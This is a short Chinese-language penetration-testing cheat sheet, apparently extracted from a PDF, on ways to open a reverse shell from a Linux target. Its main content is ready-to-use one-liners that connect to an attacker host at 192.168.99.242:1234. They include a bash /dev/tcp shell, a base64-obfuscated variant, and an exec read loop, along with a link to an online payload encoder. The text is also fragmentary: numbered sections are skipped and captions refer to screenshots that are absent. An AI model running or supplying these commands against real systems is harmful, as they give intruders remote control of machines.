反弹shell的各种姿势.pdf

在渗透过程中，往往因为端口限制而无法直连目标机器，此时需要通过反弹shell来获取一个交互式shell，以便继续

深入。

反弹shell是打开内网通道的第一步，也是权限提升过程中至关重要的一步。

所有姿势，默认情况下，攻击者主机为：192.168.99.242，本地监听1234端口，如有特殊情况以下会备注说明。

Linux 反弹shell

姿势一：bash反弹

其他版本：



执行后的结果。



姿势五：socat反弹

bash -i >& /dev/tcp/192.168.99.242/1234 0>&1

base64版：bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|

{base64,-d}|{bash,-i}'

在线编码地址：http://www.jackson-t.ca/runtime-exec-payloads.html

exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;done